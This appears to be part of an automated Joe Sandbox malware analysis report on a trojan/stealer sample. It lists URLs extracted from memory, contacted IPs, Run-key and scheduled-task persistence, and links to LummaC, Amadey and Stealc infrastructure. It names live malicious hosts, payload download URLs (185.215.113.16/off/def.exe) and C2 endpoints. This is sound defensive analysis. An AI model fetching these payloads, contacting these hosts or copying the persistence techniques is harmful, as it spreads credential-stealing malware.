http://185.215.113.16/off/random.exen	skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/URIFixup.sys.mjsget	firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000021.00000002.3551113866.0000025D93684000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000021.00000002.3604672707.0000025DFF707000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjsresource://gre/mod	firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3243738761.0000025D8AB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/sets	firefox.exe, 00000021.00000002.3579144635.0000025DFEA8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEA93000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe3f	48f66b117f.exe, 0000000E.00000003.3335440056.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://exslt.org/dates-and-timesP5	firefox.exe, 00000021.00000002.3579144635.0000025DFEA61000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://youtube.com/	firefox.exe, 00000021.00000002.3554169471.0000025D9545F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000021.00000002.3579144635.0000025DFEA8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEA93000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fpn.firefox.com	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000021.00000002.3491733708.0000025D8CBAF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/2	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://email.seznam.cz/newMessageScreen?mailto=%shttps://outlook.live.com/default.aspx?rru=compose&	firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	firefox.exe, 00000021.00000002.3440396201.0000025D8BA35000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 00000021.00000002.3559125760.0000025DFAB6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3464429316.0000025D8BEBA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest5	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000021.00000002.3494983323.0000025D8CD39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	48f66b117f.exe, 0000000E.00000003.3155271254.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3156435438.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3332132180.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3155868700.0000000005C42000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3204620852.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3185118169.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	false		high
https://amazon.com	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000021.00000002.3489163571.0000025D8CAB9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	48f66b117f.exe, 0000000E.00000003.3335440056.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206KKJ	643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000021.00000002.3539463660.0000025D8EFA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3554169471.0000025D9545F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/strings	firefox.exe, 00000021.00000002.3559125760.0000025DFAB03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/F	48f66b117f.exe, 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 00000021.00000002.3440396201.0000025D8BAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpe	643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B85000.00000040.00000001.01000000.0000000B.sdmp, 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B54000.00000040.00000001.01000000.0000000B.sdmp	false		high
https://cook-rain.sbs/apis/	48f66b117f.exe, 00000010.00000003.3397717298.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.inbox.lv/rfc2368/?value=%su	firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpi	643ebf15b8.exe, 0000000F.00000002.3410012636.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.css	472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpt	643ebf15b8.exe, 0000000F.00000002.3410012636.000000000156E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php----AAKEGIJEHJDGDHJKJKKJogon.exe	643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/2	48f66b117f.exe, 0000000E.00000003.3186352844.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3214131073.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3160308843.00000000014FC000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3160063593.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3333578258.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3185032296.00000000014FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000021.00000002.3392665978.0000025D8ADC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3667959495.000002610003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3396701780.0000025D8B0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3551113866.0000025D936A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3534420467.0000025D8EB79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3254241150.0000025D8A6DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3512613594.0000025D8E237000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3498390489.0000025D8D15D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openh264.org/	firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/l	48f66b117f.exe, 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com	firefox.exe, 00000021.00000002.3512613594.0000025D8E225000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/	firefox.exe, 00000021.00000002.3661948648.0000025DFFE03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/e	48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.zhihu.com/	firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3536912868.0000025D8EC9E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3536912868.0000025D8EC9E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://a9.com/-/spec/opensearch/1.1/	firefox.exe, 00000021.00000002.3440396201.0000025D8BAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/b	48f66b117f.exe, 00000010.00000003.3398173438.000000000168E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema	firefox.exe, 00000021.00000002.3548939455.0000025D935E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3329512763.0000025D935E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php%	skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://developer.mozilla.org/en/docs/DOM:element.addEventListener	firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000021.00000002.3551113866.0000025D936C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/Z	48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://profiler.firefox.com	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
https://outlook.live.com/default.aspx?rru=compose&to=%s	firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3381022150.0000025D8A490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	48f66b117f.exe, 00000010.00000003.3327001641.0000000006081000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	false		high
https://profiler.firefox.comDEVTOOLS_POLICY_DISABLED_PREFto-handle-default-browser-agentdevtools/cli	firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.46	youtube.com	United States	15169	GOOGLEUS	false
142.250.185.68	unknown	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560178
Start date and time:	2024-11-21 14:09:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@75/24@78/16
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 20.3.187.198, 40.69.42.241, 216.58.206.67, 108.177.15.84, 142.250.184.238, 184.28.90.27, 142.250.185.99, 142.250.186.174, 20.190.159.4, 20.190.159.75, 20.190.159.73, 40.126.31.71, 20.190.159.0, 20.190.159.2, 40.126.31.67, 20.190.159.23, 34.104.35.123, 13.89.179.12, 184.28.89.167, 142.250.185.131, 216.58.206.46, 74.125.206.84, 88.221.170.101, 35.164.125.63, 35.80.238.59, 52.12.64.98
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, incoming.telemetry.mozilla.org, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, aus5.mozilla.org, learn.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e11290.dspg.akamaiedge.net, clients2.google.com, go.microsoft.com, ocsp.digicert.com, login.live.com, star-azurefd-prod.trafficmanager.net, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, learn.microsoft.com.edgekey.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net, client.wns.windows.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, login.msa.msidentity.com, firs
Execution Graph export aborted for target 643ebf15b8.exe, PID 5412 because there are no executed function
Execution Graph export aborted for target file.exe, PID 4304 because there are no executed function
Execution Graph export aborted for target firefox.exe, PID 5724 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2360 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5196 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:11:01	API Interceptor	568725x Sleep call for process: skotes.exe modified
08:11:30	API Interceptor	204x Sleep call for process: 48f66b117f.exe modified
08:11:48	API Interceptor	255611x Sleep call for process: 472fe34b96.exe modified
08:11:51	API Interceptor	166x Sleep call for process: 643ebf15b8.exe modified
08:12:01	API Interceptor	1x Sleep call for process: WerFault.exe modified
14:09:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
14:11:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 48f66b117f.exe C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe
14:11:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 643ebf15b8.exe C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe
14:11:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9bf3542ba6.exe C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe
14:11:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f186248479.exe C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe
14:12:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 48f66b117f.exe C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe
14:12:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 643ebf15b8.exe C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe
14:12:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9bf3542ba6.exe C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe
14:12:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f186248479.exe C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mitmdetection.services.mozilla.com	file.exe	Get hash	malicious	Credential Flusher	Browse	18.66.161.67
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.32.99.66
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.32.99.49
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	13.32.99.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.32.99.17
	file.exe	Get hash	malicious	Credential Flusher	Browse	18.238.243.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.32.99.66
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.32.99.66
	file.exe	Get hash	malicious	Unknown	Browse	13.32.99.14
	file.exe	Get hash	malicious	Unknown	Browse	13.32.99.14
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
